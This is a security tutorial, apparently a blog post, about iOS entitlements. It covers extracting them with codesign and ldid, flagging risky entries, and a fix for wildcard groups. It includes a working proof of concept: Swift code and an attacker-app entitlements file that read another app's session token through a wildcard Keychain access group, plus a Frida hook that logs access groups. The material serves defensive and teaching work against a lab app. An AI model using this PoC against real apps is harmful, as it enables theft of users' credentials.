iOS entitlements are a signed plist embedded in the binary. They gate every sensitive OS capability an app can use - associated domains, push notification environments, iCloud containers, and Keychain sharing groups. The signature on the binary covers the entitlements, so the system trusts them. When a developer sets a Keychain access group to a wildcard like TEAM.com.company.*, every app in the company’s Apple Developer account that knows the wildcard string can read every Keychain item the victim app stored under that group. The attacker writes a second app, references the group, calls SecItemCopyMatching, and the session tokens are returned.
What entitlements look like
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "...">
<plist version="1.0">
<dict>
<key>keychain-access-groups</key>
<array>
<string>$(AppIdentifierPrefix)com.vulnlab.*</string>
</array>
<key>com.apple.developer.associated-domains</key>
<array>
<string>applinks:vulnlabapp.example.com</string>
</array>
<key>aps-environment</key>
<string>production</string>
<key>com.apple.security.application-groups</key>
<array>
<string>group.com.vulnlab.shared</string>
</array>
</dict>
</plist>
The $(AppIdentifierPrefix) macro expands to the 10-character Apple Team ID prefix at build time. The final group string is something like AB12CD34EF.com.vulnlab.*.
Extracting entitlements
From a decrypted IPA:
1
2
3
4
5
# codesign can read embedded entitlements from a Mach-O
codesign -d --entitlements - Payload/VulnLabAppiOS.app/VulnLabAppiOS
# ldid (common on jailbroken devices) does the same
ldid -e Payload/VulnLabAppiOS.app/VulnLabAppiOS
Both print the entitlements plist to stdout. The output is readable even on a non-jailbroken device if you have the decrypted binary (see the frida-ios-dump post).
Dangerous entitlements to flag
| Entitlement | Risk |
|---|---|
keychain-access-groups with wildcard * | cross-app Keychain read |
com.apple.security.application-groups | shared NSUserDefaults and group containers readable by sibling apps |
com.apple.developer.associated-domains | universal links; misconfigured AASA allows link hijacking |
aps-environment: production | push token valid in production; often indicates the app was not properly provisioned per-environment |
com.apple.private.* private entitlements | private SPI access, review individually |
Wildcards in keychain-access-groups are the highest-impact finding. Any app sharing the same Team ID can specify the wildcard group and read any item the victim stored there.
The wildcard group attack
VulnLabAppiOS stores its session_token with access group AB12CD34EF.com.vulnlab.*:
1
2
3
4
5
6
7
8
let query: [CFString: Any] = [
kSecClass: kSecClassGenericPassword,
kSecAttrService: "com.vulnlab.iosapp",
kSecAttrAccount: "session_token",
kSecValueData: token.data(using: .utf8)!,
kSecAttrAccessGroup: "$(AppIdentifierPrefix)com.vulnlab.*" // wildcard
]
SecItemAdd(query as CFDictionary, nil)
An attacker who enrolls another app in the same Team ID includes the same group in its entitlements and calls:
1
2
3
4
5
6
7
8
9
10
let readQuery: [CFString: Any] = [
kSecClass: kSecClassGenericPassword,
kSecAttrAccessGroup: "AB12CD34EF.com.vulnlab.*",
kSecMatchLimit: kSecMatchLimitAll,
kSecReturnData: true,
kSecReturnAttributes: true
]
var result: AnyObject?
SecItemCopyMatching(readQuery as CFDictionary, &result)
// result contains VulnLabAppiOS's session_token
The system allows this because both apps share the Team ID and both declare the group in their entitlements.
Enumerating Keychain access groups at runtime via Frida
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Read entitlements from the main bundle's embedded.mobileprovision or codesign data
const bundle = ObjC.classes.NSBundle['+ mainBundle'].call(ObjC.classes.NSBundle);
const infoPlist = bundle.infoDictionary();
// Entitlements are not directly in infoDictionary; read from codesign data
const codesignData = bundle.objectForInfoDictionaryKey_(
ObjC.classes.NSString.stringWithString_('NSAppTransportSecurity'));
// Alternative: hook SecItemAdd and observe the kSecAttrAccessGroup arg
const SecItemAdd = Module.findExportByName('Security', 'SecItemAdd');
Interceptor.attach(SecItemAdd, {
onEnter: function(args) {
const dict = new ObjC.Object(args[0]);
const group = dict.objectForKey_(ObjC.classes.NSString.stringWithString_('agrp'));
if (!group.isNil()) {
console.log('[SecItemAdd] access group: ' + group);
}
}
});
Trigger any login or credential-storage flow and the hook prints every kSecAttrAccessGroup value the app uses. Match these against the entitlements plist output.
PoC: cross-app Keychain read
In a test attacker app that shares the Team ID, add the wildcard group to Attacker.entitlements:
1
2
3
4
<key>keychain-access-groups</key>
<array>
<string>$(AppIdentifierPrefix)com.vulnlab.*</string>
</array>
Then call SecItemCopyMatching with that group. If the victim app stored anything under the wildcard group, it comes back. No user interaction, no permission prompt, no notification.
The fix
Use fully qualified group names. Never use wildcards:
1
2
3
4
5
<!-- Vulnerable -->
<string>$(AppIdentifierPrefix)com.vulnlab.*</string>
<!-- Fixed -->
<string>$(AppIdentifierPrefix)com.vulnlab.iosapp.credentials</string>
For cross-app sharing that is intentional (a suite of apps from the same developer sharing a login session), name the group explicitly for the sharing relationship:
1
<string>$(AppIdentifierPrefix)com.vulnlab.shared.session</string>
Only apps that explicitly declare that specific group in their entitlements can access items stored under it.
Closing
Entitlements are the first file to read after extracting a decrypted IPA. Wildcard keychain-access-groups entries are a direct cross-app credential read. codesign -d --entitlements - takes two seconds to run. Any wildcard in the output is a finding.
Happy Hacking !!